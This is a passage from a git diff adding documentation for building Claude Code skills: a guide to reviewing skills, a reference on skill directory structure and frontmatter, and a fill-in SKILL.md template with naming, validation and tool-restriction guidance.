EXISTS ( + SELECT FROM information_schema.tables + WHERE table_name = 'table_name' +); + +-- Verify row counts +SELECT COUNT(*) FROM critical_table; + +-- Test critical queries +SELECT * FROM users WHERE id = 1; +\`\`\` + +## Common Issues + +### Issue: Migration fails mid-apply +**Solution**: Restore from backup, fix migration, retry + +### Issue: Data type mismatch +**Solution**: Add explicit type conversion in migration + +### Issue: Foreign key constraint violation +**Solution**: Ensure related data exists or use ON DELETE CASCADE + +## Examples + +### Example 1: Adding a Column +\`\`\`sql +ALTER TABLE users ADD COLUMN email_verified BOOLEAN DEFAULT false; +\`\`\` + +### Example 2: Creating a Table +\`\`\`sql +CREATE TABLE audit_logs ( + id SERIAL PRIMARY KEY, + user_id INTEGER REFERENCES users(id), + action VARCHAR(255), + created_at TIMESTAMP DEFAULT NOW() +); +\`\`\` +``` + +**Why this works**: +- Clear step-by-step workflow +- Safety measures at each step +- Validation checkpoints +- Rollback procedure +- Tool restrictions for safety +- Common issues documented + +## Key Takeaways from Examples + +1. **Simple skills**: Everything in SKILL.md, focused on one task +2. **Reference-based skills**: Core in SKILL.md, details in reference/ +3. **Scripted skills**: Use scripts for deterministic operations +4. **Tool-restricted skills**: Limit tools for safety-critical tasks +5. **Complex skills**: Full progressive disclosure with templates +6. **Workflow skills**: Step-by-step with validation and rollback + +Each example demonstrates: +- Clear, specific descriptions +- Concrete examples +- Validation steps +- Appropriate level of detail +- Progressive disclosure when needed +- Focused purpose + +Use these patterns as starting points for your own skills. diff --git a/skills/skill-builder/reference/skill-review.md b/skills/skill-builder/reference/skill-review.md new file mode 100644 index 0000000..148f1ff --- /dev/null +++ b/skills/skill-builder/reference/skill-review.md @@ -0,0 +1,756 @@ +# Reviewing Claude Skills + +Comprehensive guide for reviewing skills for correctness, best practices, adherence to conventions, and effectiveness. + +## Review Objectives + +When reviewing a skill, assess: +1. **Correctness**: Instructions are accurate and achievable +2. **Discoverability**: Name and description enable Claude to find and use it appropriately +3. **Clarity**: Instructions are unambiguous and specific +4. **Efficiency**: Appropriate use of progressive disclosure and conciseness +5. **Effectiveness**: Skill actually helps Claude accomplish the intended task +6. **Maintainability**: Well-organized and easy to update + +## Review Checklist + +Use this checklist for systematic skill reviews: + +### Frontmatter & Metadata + +- [ ] **Name format**: Uses gerund form (verb + -ing) +- [ ] **Name specificity**: Specific and descriptive, not vague +- [ ] **Description length**: Under 1024 characters +- [ ] **Description clarity**: Third person, specific, includes key terms +- [ ] **Description discoverability**: Contains terms that match when skill should be used +- [ ] **Tool restrictions**: `allowed-tools` used appropriately (if needed) +- [ ] **No missing fields**: Required fields present (name, description) + +### File Structure + +- [ ] **SKILL.md exists**: Primary file is present +- [ ] **Line count**: SKILL.md under 500 lines (excluding reference files) +- [ ] **Reference files**: Used for extended documentation (if needed) +- [ ] **File organization**: Logical structure (reference/, scripts/, templates/) +- [ ] **File naming**: Consistent and clear naming conventions +- [ ] **Templates**: Provide good starting points (if included) +- [ ] **Scripts**: Well-documented with error handling (if included) + +### Content Quality + +- [ ] **Conciseness**: No obvious information Claude already knows +- [ ] **Specificity**: Clear examples and concrete instructions +- [ ] **Completeness**: All necessary information included +- [ ] **Progressive disclosure**: Details in reference files, essentials in SKILL.md +- [ ] **Examples**: Concrete, helpful examples provided +- [ ] **Validation steps**: How to verify success is documented +- [ ] **Error handling**: Common issues and solutions addressed +- [ ] **Terminology**: Consistent throughout all files + +### Instructions + +- [ ] **Clarity**: Unambiguous and specific +- [ ] **Actionability**: Each step is actionable +- [ ] **Appropriate freedom**: Right level of specificity for task type +- [ ] **Workflow**: Logical sequence of steps +- [ ] **Prerequisites**: Dependencies and requirements stated +- [ ] **Output format**: Expected outputs clearly defined +- [ ] **Validation**: Verification steps included + +### Documentation + +- [ ] **No time-sensitive info**: No version numbers or dates that become outdated +- [ ] **Model-focused**: Written for Claude, not humans +- [ ] **No redundancy**: Information not duplicated across files +- [ ] **Clear references**: References to other files are specific and helpful +- [ ] **Up-to-date**: Information is current and accurate + +## Detailed Review Guidelines + +### 1. Reviewing Name and Description + +The name and description determine discoverability. Poor naming means the skill won't be used. + +#### Name Review + +**Check for gerund form**: +```yaml +# Good +name: Processing Invoice PDFs +name: Generating API Documentation +name: Analyzing Performance Metrics + +# Bad (fix these) +name: Invoice Processor +name: API Docs +name: Performance +``` + +**Check for specificity**: +```yaml +# Good +name: Creating React Components +name: Managing Database Migrations + +# Too vague (needs improvement) +name: Helper Functions +name: Utilities +name: Manager +``` + +**Action**: If name is vague, suggest specific alternative based on what the skill actually does. + +#### Description Review + +**Check for key terms**: +```yaml +# Good - includes specific technologies and outputs +description: Generates TypeScript React components following project conventions including component structure, PropTypes, styled-components, and comprehensive Jest tests with React Testing Library + +# Bad - too vague, missing key terms +description: Helps create components + +# Fix needed - add specific technologies and what it produces +``` + +**Check for third person**: +```yaml +# Good +description: Creates standardized changelog entries from git commits + +# Bad (imperative, not third person) +description: Create standardized changelog entries from git commits +``` + +**Check length**: +```yaml +# If over 1024 characters, needs to be condensed +# Keep key terms, remove unnecessary words +``` + +**Action**: Rewrite vague descriptions to include: +- Specific action (what it does) +- Key technologies/tools involved +- Output format or result +- Important constraints or validation + +### 2. Reviewing File Structure + +Good file organization enables maintenance and progressive disclosure. + +#### SKILL.md Length + +**Check line count**: +```bash +wc -l SKILL.md +``` + +If over 500 lines: +- Identify content that could move to reference files +- Look for extended examples → `reference/examples.md` +- Look for API documentation → `reference/api-docs.md` +- Look for background information → separate reference file + +#### Reference File Organization + +**Good structure**: +``` +my-skill/ +├── SKILL.md # Under 500 lines, essential info +├── reference/ +│ ├── detailed-guide.md # Extended documentation +│ └── examples.md # Many examples +├── scripts/ +│ └── helper.py # Well-documented scripts +└── templates/ + └── output.json # Clear templates +``` + +**Issues to flag**: +``` +my-skill/ +├── SKILL.md # 800 lines - TOO LONG +├── stuff/ # Vague directory name +│ └── things.md # Vague file name +└── script.py # No documentation +``` + +**Action**: Recommend reorganization with specific suggestions for what to move where. + +### 3. Reviewing Instructions + +Instructions must be clear, actionable, and appropriately specific. + +#### Clarity Check + +**Look for ambiguity**: +```markdown +# Ambiguous +Process the files appropriately. + +# Clear +Extract the date field from the first line of each file using format YYYY-MM-DD. +``` + +**Look for missing steps**: +```markdown +# Incomplete +1. Read the data +2. Output results + +# Complete +1. Read the data from input.json +2. Validate required fields: id, name, email +3. Transform to output format (see examples below) +4. Write to output.json +5. Verify with validation script +``` + +#### Degrees of Freedom Check + +**Too restrictive** (micromanaging): +```markdown +# Bad - over-specified +1. Open the file +2. Read line 1 +3. Store in a variable called 'firstLine' +4. Parse the date from firstLine +5. Store in a variable called 'parsedDate' + +# Better - appropriate specificity +Extract the date from the first line using format YYYY-MM-DD. +``` + +**Too loose** (for fragile operations): +```markdown +# Bad - too vague for database migration +Apply the database migration. + +# Better - specific steps for fragile operation +1. Backup database: pg_dump db > backup_$(date +%Y%m%d).sql +2. Run migration: npm run migrate:up +3. Verify schema_version table updated +4. If verification fails, rollback: psql db < backup_TIMESTAMP.sql +``` + +**Action**: Identify whether freedom level matches task fragility and suggest adjustments. + +#### Validation Review + +Every skill should include validation steps. + +**Missing validation** (needs improvement): +```markdown +## Workflow +1. Parse configuration +2. Apply settings +3. Restart service +``` + +**Includes validation** (good): +```markdown +## Workflow +1. Parse configuration +2. Validate required fields: host, port, api_key +3. Apply settings +4. Verify service started successfully (check port is listening) +``` + +**Action**: If validation is missing, suggest specific validation steps appropriate to the task. + +### 4. Reviewing Examples + +Examples should be concrete and helpful. + +#### Example Quality + +**Poor example** (too abstract): +```markdown +Extract the data appropriately. +``` + +**Good example** (concrete): +```markdown +Extract dates to ISO 8601 format: +- Input: "Jan 15, 2024" → Output: "2024-01-15" +- Input: "3/7/24" → Output: "2024-03-07" +- Input: "2024-12-25" → Output: "2024-12-25" (already correct) +``` + +#### Example Coverage + +Check that examples cover: +- [ ] Basic/common case +- [ ] Edge cases (if applicable) +- [ ] Input → Output transformations +- [ ] Expected formats + +**Action**: If examples are missing or too abstract, suggest concrete examples based on the skill's purpose. + +### 5. Reviewing Progressive Disclosure + +Skills should start concise and reference detailed docs as needed. + +#### Good Progressive Disclosure + +```markdown +# SKILL.md (concise) +## Workflow +1. Extract API information from JSDoc comments +2. Generate OpenAPI 3.0 specification +3. Validate against schema + +For detailed JSDoc patterns, see `reference/jsdoc-patterns.md`. +For complete OpenAPI specification reference, see `reference/openapi-spec.md`. + +# reference/jsdoc-patterns.md (detailed) +[200+ lines of JSDoc patterns and examples] + +# reference/openapi-spec.md (detailed) +[300+ lines of OpenAPI documentation] +``` + +#### Poor Progressive Disclosure + +```markdown +# SKILL.md (monolithic - 800 lines) +[Everything crammed into one file] +[200 lines of background] +[300 lines of detailed API docs] +[300 lines of examples] +``` + +**Action**: Identify sections that should move to reference files and suggest the organization. + +### 6. Reviewing Tool Restrictions + +Tool restrictions should be intentional and appropriate. + +#### When Tool Restrictions Are Appropriate + +**Read-only analysis**: +```yaml +allowed-tools: [Read, Grep, Glob] +``` +✅ Good for security audits, code analysis, reporting + +**File operations without execution**: +```yaml +allowed-tools: [Read, Write, Edit, Glob, Grep] +``` +✅ Good for file transformations, code generation + +**Safety-critical workflows**: +```yaml +allowed-tools: [Read, Bash] # Only run specific scripts +``` +✅ Good for database migrations with pre-built scripts + +#### Issues to Flag + +**Over-restricted**: +```yaml +allowed-tools: [Read] +``` +❌ Too restrictive - Claude can't be effective with only Read + +**Unnecessary restrictions**: +```yaml +# For a component generator that needs to write files +allowed-tools: [Read, Grep] +``` +❌ Missing necessary tools (Write, Edit) + +**Action**: Verify tool restrictions match the skill's purpose and suggest adjustments. + +### 7. Reviewing Scripts + +Scripts should be well-documented and robust. + +#### Script Documentation + +**Poor documentation**: +```python +#!/usr/bin/env python3 +import sys +import json + +def main(): + data = json.load(open(sys.argv[1])) + # ... processing ... +``` + +**Good documentation**: +```python +#!/usr/bin/env python3 +""" +Validates invoice JSON output. + +Usage: + python validate-output.py invoice.json + +Exit codes: + 0: Valid + 1: Validation errors + 2: File not found +""" +import sys +import json + +def main(): + if len(sys.argv) != 2: + print("Usage: validate-output.py invoice.json", file=sys.stderr) + sys.exit(1) + # ... processing with error handling ... +``` + +#### Script Error Handling + +Check for: +- [ ] Argument validation +- [ ] Clear error messages +- [ ] Appropriate exit codes +- [ ] File handling errors +- [ ] Input validation + +**Action**: Note missing error handling and documentation issues. + +### 8. Reviewing Content Quality + +#### Conciseness Check + +**Over-explained** (Claude already knows this): +```markdown +The Read tool is a powerful capability that allows you to read files +from the filesystem. You should use it when you need to access file +contents. Files are stored on disk and contain data... +``` + +**Concise** (appropriate): +```markdown +Read the configuration file and extract database settings. +``` + +**Action**: Flag over-explained content that Claude already knows. + +#### Time-Sensitive Information + +**Avoid**: +```markdown +Use the new React hooks API introduced in version 16.8 (2019) +``` + +**Better**: +```markdown +Use React hooks for state management +``` + +**Action**: Flag time-sensitive references that will become outdated. + +#### Terminology Consistency + +**Inconsistent** (confusing): +```markdown +1. Parse the document +2. Extract data from the file +3. Process the input +4. Transform the content +``` + +**Consistent** (clear): +```markdown +1. Parse the document +2. Extract data from the document +3. Validate the document +4. Transform the document +``` + +**Action**: Note terminology inconsistencies and suggest consistent terms. + +## Common Review Findings + +### Critical Issues (Must Fix) + +1. **Missing or vague description**: Skill won't be discovered +2. **No validation steps**: No way to verify success +3. **Ambiguous instructions**: Claude won't know what to do +4. **Over 500 lines in SKILL.md**: Needs progressive disclosure +5. **Broken references**: References to non-existent files +6. **Scripts without error handling**: Will fail ungracefully + +### Important Issues (Should Fix) + +1. **Vague examples**: Replace with concrete examples +2. **Inappropriate freedom level**: Too restrictive or too loose +3. **Missing edge cases**: Common issues not addressed +4. **Poor file organization**: Unclear structure +5. **Time-sensitive information**: Will become outdated +6. **Inconsistent terminology**: Confusing + +### Minor Issues (Nice to Fix) + +1. **Could be more concise**: Some unnecessary verbosity +2. **Could use better examples**: Examples work but could be clearer +3. **Minor naming improvements**: Name is okay but could be more specific +4. **Documentation could be clearer**: Functional but could improve + +## Review Process + +### Step-by-Step Review + +1. **Initial scan** + - Read frontmatter + - Check file structure + - Note line count + +2. **Name & description review** + - Check gerund form + - Assess specificity + - Verify key terms present + - Test mental model: "Would Claude find this when needed?" + +3. **Structure review** + - Check SKILL.md length + - Review file organization + - Assess progressive disclosure + - Verify references are valid + +4. **Content review** + - Read through instructions + - Check for clarity and specificity + - Verify examples are concrete + - Assess degrees of freedom + - Look for validation steps + +5. **Technical review** + - Review tool restrictions (if any) + - Check scripts (if any) + - Verify templates (if any) + - Test any examples + +6. **Quality review** + - Check for over-explanation + - Look for time-sensitive info + - Verify terminology consistency + - Assess overall effectiveness + +### Writing Review Feedback + +Structure feedback as: + +```markdown +## Skill Review: [Skill Name] + +### Critical Issues +- [Issue 1 with specific location] +- [Issue 2 with specific location] + +### Important Issues +- [Issue 1 with suggestion] +- [Issue 2 with suggestion] + +### Suggestions +- [Optional improvement 1] +- [Optional improvement 2] + +### Strengths +- [What works well] +- [Good patterns to maintain] + +### Overall Assessment +[Brief summary and recommendation: Approve / Needs revision / Major rework needed] +``` + +## Example Reviews + +### Example 1: Skill with Issues + +**SKILL.md**: +```yaml +--- +name: Helper +description: Helps with stuff +--- + +# Helper + +This skill helps you process things. + +## Instructions + +1. Read the files +2. Do the processing +3. Output results +``` + +**Review**: +```markdown +## Skill Review: Helper + +### Critical Issues +- **Vague name**: "Helper" doesn't indicate what the skill does. Change to gerund form describing the specific task (e.g., "Processing Invoice Data", "Generating Reports") +- **Non-descriptive description**: "Helps with stuff" provides no discoverability. Should specify what is being processed, input format, output format, and key technologies +- **Ambiguous instructions**: Steps 1-3 are too vague. What files? What processing? What output format? + +### Important Issues +- **No validation**: No way to verify the output is correct +- **No examples**: No concrete examples of input → output +- **Missing specifics**: No file formats, no output structure, no error handling + +### Suggestions +- Add concrete examples showing expected inputs and outputs +- Define specific file formats and output structure +- Include validation steps +- Consider what Claude doesn't already know and focus on that + +### Overall Assessment +Major rework needed. The skill needs a complete rewrite with specific name, detailed description, clear instructions, and concrete examples. +``` + +### Example 2: Good Skill + +**SKILL.md**: +```yaml +--- +name: Generating Changelog Entries +description: Creates standardized changelog entries from git commits following Keep a Changelog format with semantic versioning categories +--- + +# Generating Changelog Entries + +Creates changelog entries in Keep a Changelog format from git commit history. + +## Workflow + +1. Review git commits since last release +2. Categorize commits: + - **Added**: New features + - **Changed**: Changes to existing functionality + - **Fixed**: Bug fixes +3. Format as markdown under appropriate headings +4. Include commit hashes as references + +## Output Format + +\`\`\`markdown +## [Version] - YYYY-MM-DD + +### Added +- New feature description [abc123] + +### Fixed +- Bug fix description [def456] +\`\`\` + +## Validation + +Ensure: +- All commits are categorized +- Date is in YYYY-MM-DD format +- Version follows semantic versioning +- Each entry includes commit hash +``` + +**Review**: +```markdown +## Skill Review: Generating Changelog Entries + +### Strengths +- **Clear name**: Gerund form, specific task +- **Excellent description**: Specific format (Keep a Changelog), includes key terms (semantic versioning, categories) +- **Concrete workflow**: Clear categorization with examples +- **Output format**: Specific format with example +- **Validation included**: Clear checklist for verification +- **Appropriate length**: Concise, focused, under 500 lines + +### Suggestions +- Consider adding an example section showing sample commits → output transformation +- Could mention how to handle commits that don't fit standard categories (e.g., docs, chores) + +### Overall Assessment +Excellent skill. Follows all best practices. Ready to use. The minor suggestions are optional enhancements. +``` + +## Reviewing Your Own Skills + +Self-review checklist: + +1. **Wait before reviewing**: Review skills after a break, not immediately after writing +2. **Test with Claude**: Actually use the skill and see if it works as intended +3. **Check against checklist**: Use the complete review checklist above +4. **Read aloud**: Unclear writing becomes obvious when read aloud +5. **Compare to examples**: Does it match the quality of the example skills? +6. **Ask key questions**: + - Would Claude find this skill when needed? + - Are the instructions clear enough to follow? + - Is there enough information but not too much? + - Can success be verified? + +## Review Anti-Patterns + +Avoid these when reviewing: + +### Anti-Pattern 1: Accepting Vague Descriptions + +```yaml +# Don't accept this +description: Utility for processing data + +# Require this level of specificity +description: Transforms CSV sales data to quarterly JSON reports with revenue calculations and trend analysis +``` + +### Anti-Pattern 2: Overlooking Missing Validation + +Every skill needs validation steps. Don't approve skills without them. + +### Anti-Pattern 3: Accepting Monolithic Skills + +Skills over 500 lines need progressive disclosure. Don't accept: +``` +skill/ +└── SKILL.md (800 lines) +``` + +Require: +``` +skill/ +├── SKILL.md (200 lines) +└── reference/ + └── detailed-guide.md (600 lines) +``` + +### Anti-Pattern 4: Ignoring Ambiguity + +Don't overlook vague instructions like "Process appropriately" or "Handle correctly". Require specificity. + +### Anti-Pattern 5: Skipping Real-World Testing + +Don't approve skills based only on reading. Test them with Claude on actual tasks. + +## Quick Review Reference + +Use this quick reference during reviews: + +**Name**: Gerund form? Specific? ✓ +**Description**: Under 1024 chars? Key terms? Third person? ✓ +**Length**: SKILL.md under 500 lines? ✓ +**Examples**: Concrete? Helpful? ✓ +**Validation**: Steps included? ✓ +**Clarity**: Unambiguous? Actionable? ✓ +**Freedom**: Appropriate for task type? ✓ +**Organization**: Logical structure? ✓ +**Scripts**: Documented? Error handling? ✓ +**References**: Valid? Clear purpose? ✓ + +## Conclusion + +Effective skill review ensures: +- Skills are discoverable when needed +- Instructions are clear and actionable +- Examples are concrete and helpful +- Validation steps ensure correctness +- Organization supports maintainability +- Content is concise and focused + +Use this guide systematically to review skills and provide constructive, specific feedback that improves skill quality. diff --git a/skills/skill-builder/reference/skill-structure.md b/skills/skill-builder/reference/skill-structure.md new file mode 100644 index 0000000..c200942 --- /dev/null +++ b/skills/skill-builder/reference/skill-structure.md @@ -0,0 +1,448 @@ +# Skill Structure Reference + +Complete guide to organizing and structuring Claude Code skills for maximum effectiveness. + +## Directory Locations + +Skills can be placed in three locations: + +### Personal Skills +- **Location**: `~/.claude/skills/` +- **Scope**: Available across all projects for the user +- **Use case**: Personal utilities, workflows, preferences + +### Project Skills +- **Location**: `.claude/skills/` +- **Scope**: Project-specific, shared via version control +- **Use case**: Team workflows, project conventions, tooling + +### Plugin Skills +- **Location**: Within plugin `skills/` directory +- **Scope**: Bundled with plugin, shareable via plugin marketplace +- **Use case**: Reusable capabilities for distribution + +## Required Structure + +### Minimum Viable Skill + +``` +my-skill/ +└── SKILL.md +``` + +The only required file is `SKILL.md` with YAML frontmatter: + +```yaml +--- +name: Skill Name +description: One-line description of what this skill does +--- + +# Skill content and instructions +``` + +### Frontmatter Fields + +#### Required +- `name`: Human-readable name (max 64 characters) + - Use gerund form: "Processing", "Analyzing", "Creating" + - Be specific, avoid vague terms + +- `description`: One-line explanation (max 1024 characters) + - Third person: "Guides...", "Helps...", "Provides..." + - Include key terms for discoverability + - Specify when to use this skill + +#### Optional +- `allowed-tools`: Array of tool names to restrict access + ```yaml + allowed-tools: [Read, Grep, Glob, Bash] + ``` + - Use for safety-critical operations + - Use for read-only analysis + - Omit to allow all tools + +## Progressive Disclosure Structure + +For complex skills, organize supporting materials: + +``` +my-skill/ +├── SKILL.md # Entry point (concise) +├── reference/ # Detailed documentation +│ ├── concepts.md # Background information +│ ├── api-reference.md # API/interface details +│ └── examples.md # Extended examples +├── scripts/ # Utility scripts +│ ├── validator.py # Validation logic +│ └── formatter.sh # Formatting helper +└── templates/ # Starter templates + ├── output.json # Expected output format + └── config.yaml # Configuration template +``` + +### When to Use Each Directory + +#### `reference/` +Use for detailed documentation that supports SKILL.md: +- Comprehensive API documentation +- Extended conceptual explanations +- Additional examples and use cases +- Specification documents +- Background context + +**Pattern**: Reference from SKILL.md with phrases like: +- "For detailed API documentation, see `reference/api-reference.md`" +- "See `reference/examples.md` for more examples" + +#### `scripts/` +Use for executable utilities that perform deterministic operations: +- Data validation +- Format conversion +- File processing +- API calls +- System operations + +**Best practices**: +- Handle errors explicitly +- Provide clear output/error messages +- Make scripts idempotent when possible +- Document script usage in SKILL.md or reference files +- Make scripts executable: `chmod +x scripts/script.py` +- Include proper shebang: `#!/usr/bin/env python3` + +**Referencing scripts in SKILL.md**: +- Use **relative paths** from SKILL.md location: `[script.py](scripts/script.py)` +- Use **standard Markdown link syntax** for Claude to reference +- In bash code blocks, use **full absolute paths** for execution examples +- **NO special @ syntax** needed + +Example in SKILL.md: +```markdown +### compare_runs.py + +Run [scripts/compare_runs.py](scripts/compare_runs.py) to compare test results: + +```bash +.claude/skills/bfcl-results/scripts/compare_runs.py baseline/ modified/ test_name +``` +``` + +#### `templates/` +Use for starter files and examples: +- Output format examples +- Configuration templates +- Code scaffolding +- Document structures + +**Pattern**: Reference in instructions: +- "Use `templates/output.json` as the output format" +- "Start with `templates/component.tsx` structure" + +## File Organization Patterns + +### Pattern 1: Simple Focused Skill +Best for single-purpose, straightforward skills: + +``` +focused-skill/ +└── SKILL.md +``` + +All instructions in one concise file. + +### Pattern 2: Documented Skill +For skills needing additional context: + +``` +documented-skill/ +├── SKILL.md +└── reference/ + └── details.md +``` + +Core instructions in SKILL.md, extended details in reference. + +### Pattern 3: Scripted Skill +For skills with deterministic operations: + +``` +scripted-skill/ +├── SKILL.md +└── scripts/ + ├── process.py + └── validate.sh +``` + +Instructions in SKILL.md, automation in scripts. + +### Pattern 4: Complete Skill +For comprehensive, production-ready skills: + +``` +complete-skill/ +├── SKILL.md +├── reference/ +│ ├── concepts.md +│ ├── api-docs.md +│ └── examples.md +├── scripts/ +│ ├── validator.py +│ └── helper.sh +└── templates/ + └── output.json +``` + +Full progressive disclosure with all supporting materials. + +## Content Organization in SKILL.md + +### Recommended Structure + +```markdown +--- +name: Skill Name +description: Clear, specific description +--- + +# Skill Name + +Brief introduction explaining what this skill does. + +## Core Concepts +Essential background (if needed, otherwise move to reference/) + +## Instructions +Step-by-step guidance or workflow + +## Examples +2-3 concrete examples showing usage + +## Validation +How to verify success or check results + +## References +- `reference/file.md`: Description of what's there +- `scripts/script.py`: What the script does +``` + +### Content Guidelines + +**Keep in SKILL.md**: +- Essential instructions +- Core workflow steps +- Key examples +- Critical constraints +- References to additional files + +**Move to reference files**: +- Extensive background +- Comprehensive API docs +- Many examples +- Edge cases and variations +- Historical context + +## Tool Restrictions + +Control which tools Claude can use within the skill: + +### Syntax +```yaml +--- +name: Skill Name +description: Description here +allowed-tools: [ToolName1, ToolName2] +--- +``` + +### Common Tool Sets + +#### Read-Only Analysis +```yaml +allowed-tools: [Read, Grep, Glob] +``` + +#### File Operations +```yaml +allowed-tools: [Read, Write, Edit, Glob, Grep] +``` + +#### Development Tasks +```yaml +allowed-tools: [Read, Write, Edit, Bash, Glob, Grep] +``` + +#### Script Execution Only +```yaml +allowed-tools: [Bash] +``` + +### When to Restrict Tools + +Restrict tools when: +- Safety is critical (prevent unintended changes) +- Skill is analysis-only (no modifications needed) +- Enforcing specific workflow (must use provided scripts) +- Testing or validation (read-only verification) + +## Naming Conventions + +### Skill Directory Names +- Use kebab-case: `my-skill-name` +- Be descriptive: `react-component-generator` not `helper` +- Indicate purpose: `pdf-invoice-processor` + +### File Naming +- SKILL.md: Always uppercase, always this name +- Reference files: Descriptive, kebab-case: `api-reference.md` +- Scripts: Descriptive, indicate function: `validate-output.py` +- Templates: Indicate what they template: `component-template.tsx` + +### Name Field (in frontmatter) +- Use gerund form: "Processing PDFs" +- Title case: "Creating React Components" +- Specific and descriptive + +## Size Guidelines + +### SKILL.md +- Target: 200-400 lines +- Maximum: 500 lines +- If approaching max, move content to reference files + +### Reference Files +- Keep focused on one topic per file +- Split large references into multiple files +- No hard limit, but stay organized + +### Scripts +- One responsibility per script +- Document usage at top of file +- Keep maintainable + +## Version Control + +### What to Include +- All skill files (SKILL.md, reference, scripts, templates) +- README.md explaining the skill (optional but helpful) +- Tests for scripts (if applicable) + +### What to Exclude +- Generated outputs +- User-specific configurations +- Temporary files +- Cache files + +### Git Best Practices +```gitignore +# In skill directory +*.pyc +__pycache__/ +.DS_Store +*.tmp +cache/ +``` + +## Testing Your Structure + +Verify your skill structure: + +1. **Completeness**: SKILL.md exists with required frontmatter +2. **Clarity**: Name and description are specific +3. **Organization**: Supporting files are logically organized +4. **References**: All file references in SKILL.md are valid +5. **Scripts**: All scripts are executable and documented +6. **Size**: SKILL.md is under 500 lines + +## Migration Patterns + +### From Monolithic to Progressive + +If SKILL.md is too large: + +1. Identify sections that could be separate files +2. Create reference directory +3. Move sections to focused reference files +4. Update SKILL.md with references +5. Keep core workflow in SKILL.md + +Example: +```markdown +# Before (in SKILL.md) +## API Documentation +[50 lines of API details] + +# After (in SKILL.md) +## API Documentation +See `reference/api-reference.md` for complete API documentation. +``` + +### From Simple to Scripted + +Adding automation: + +1. Identify deterministic operations +2. Create scripts directory +3. Implement operations in scripts +4. Update SKILL.md to reference scripts +5. Add error handling to scripts + +Example: +```markdown +# Before +Validate the output format matches the expected schema. + +# After +Run `scripts/validate-output.py` to verify the output format. +``` + +## Advanced Patterns + +### Multi-Language Scripts +``` +skill/ +├── SKILL.md +└── scripts/ + ├── process.py # Python for data processing + ├── validate.sh # Bash for quick checks + └── analyze.js # Node for JSON operations +``` + +### Conditional References +```markdown +For basic usage, follow the instructions above. + +For advanced scenarios, see: +- `reference/advanced-patterns.md`: Complex workflows +- `reference/error-handling.md`: Troubleshooting guide +``` + +### Shared Resources +``` +skills/ +├── skill-one/ +│ └── SKILL.md +├── skill-two/ +│ └── SKILL.md +└── shared/ + ├── common-scripts/ + └── common-templates/ +``` + +Reference shared resources with relative paths: +```markdown +Use `../shared/common-templates/output.json` as the format. +``` + +## Key Takeaways + +1. Only SKILL.md is required +2. Use progressive disclosure for complex skills +3. Keep SKILL.md under 500 lines +4. Organize supporting files logically +5. Reference additional files clearly +6. Use scripts for deterministic operations +7. Restrict tools when appropriate +8. Follow naming conventions consistently +9. Test structure before distributing +10. Evolve structure as skill complexity grows diff --git a/skills/skill-builder/templates/skill-template.md b/skills/skill-builder/templates/skill-template.md new file mode 100644 index 0000000..984a7ff --- /dev/null +++ b/skills/skill-builder/templates/skill-template.md @@ -0,0 +1,210 @@ +--- +name: [Gerund Form: "Processing", "Analyzing", "Creating"] +description: [Third person, specific description with key terms - max 1024 chars] +# Optional: Restrict which tools Claude can use +# allowed-tools: [Read, Write, Edit, Bash, Grep, Glob] +--- + +# [Skill Name] + +[1-2 sentence overview of what this skill does and when to use it] + +## Overview + +[Brief explanation of the skill's purpose and capabilities] + +## Prerequisites + +[Optional: List what must exist or be true before using this skill] +- Prerequisite 1 +- Prerequisite 2 + +## Workflow + +[Step-by-step instructions for accomplishing the task] + +1. **[Step name]** + [Description of what to do] + + ```bash + # Example command if applicable + ``` + +2. **[Step name]** + [Description of what to do] + - Sub-step if needed + - Another sub-step + +3. **[Step name with validation]** + [Description] + + Verify: + - Expected outcome 1 + - Expected outcome 2 + +## Expected Output + +[Describe or show the expected output format] + +```[language] +# Example output +{ + "field": "value" +} +``` + +## Validation + +[How to verify the task was completed successfully] + +- [ ] Validation checkpoint 1 +- [ ] Validation checkpoint 2 + +## Examples + +### Example 1: [Scenario Name] + +**Input:** +``` +[Example input] +``` + +**Process:** +[What to do with this input] + +**Output:** +``` +[Expected output] +``` + +### Example 2: [Edge Case or Variation] + +[Another concrete example demonstrating usage] + +## Common Issues + +### Issue: [Problem Description] +**Solution**: [How to resolve] + +### Issue: [Another Problem] +**Solution**: [How to resolve] + +## Error Handling + +[How to handle errors or unexpected situations] + +If [error condition]: +1. [Recovery step] +2. [Verification step] + +## Advanced Usage + +[Optional: Advanced patterns or variations] + +### Pattern 1: [Advanced Pattern Name] +[Description and example] + +### Pattern 2: [Another Pattern] +[Description and example] + +## References + +[Optional: Link to supporting documentation] +- `reference/detailed-docs.md`: [What's there] +- `scripts/helper.py`: [What it does] +- `templates/output-format.json`: [What it shows] + +--- + +## Template Usage Notes + +**Remove this section before using** + +### Naming Guidelines +- **Skill name**: Use gerund (verb + -ing) + - Good: "Processing Invoice PDFs", "Analyzing Logs" + - Avoid: "Invoice Helper", "Log Utils" + +### Description Guidelines +- Write in third person +- Include key technology names +- Specify the output or outcome +- Maximum 1024 characters +- Good: "Processes invoice PDFs extracting vendor, date, and line items with validation" +- Avoid: "Helps with invoices" + +### Content Guidelines +1. **Be concise**: Only include what Claude doesn't already know +2. **Be specific**: Provide concrete examples and formats +3. **Include validation**: Add verification steps +4. **Progressive disclosure**: For complex topics, reference additional files +5. **Keep under 500 lines**: Move extensive details to reference/ files + +### Tool Restrictions (optional) +Uncomment and customize `allowed-tools` if you need to restrict which tools Claude can use: +- Read-only analysis: `[Read, Grep, Glob]` +- File operations: `[Read, Write, Edit, Glob, Grep]` +- Development: `[Read, Write, Edit, Bash, Glob, Grep]` + +### Sections to Customize +Required: +- [ ] name (frontmatter) +- [ ] description (frontmatter) +- [ ] Overview +- [ ] Workflow or Instructions +- [ ] At least one Example + +Optional (remove if not needed): +- [ ] Prerequisites +- [ ] Expected Output +- [ ] Validation +- [ ] Common Issues +- [ ] Error Handling +- [ ] Advanced Usage +- [ ] References + +### File Organization +Simple skill: +``` +my-skill/ +└── SKILL.md +``` + +With reference docs: +``` +my-skill/ +├── SKILL.md +└── reference/ + └── detailed-guide.md +``` + +With scripts: +``` +my-skill/ +├── SKILL.md +└── scripts/ + └── helper.py +``` + +Complete: +``` +my-skill/ +├── SKILL.md +├── reference/ +│ └── docs.md +├── scripts/ +│ └── helper.py +└── templates/ + └── output.json +``` + +### Quick Checklist +Before finalizing: +- [ ] Name uses gerund form +- [ ] Description is specific with key terms +- [ ] Examples are concrete and helpful +- [ ] Validation steps included +- [ ] Under 500 lines +- [ ] No obvious information Claude already knows +- [ ] Tested with real scenario +- [ ] Template notes removed diff --git a/skills/version-control-config/SKILL.md b/skills/version-control-config/SKILL.md new file mode 100644 index 0000000..d296741 --- /dev/null +++ 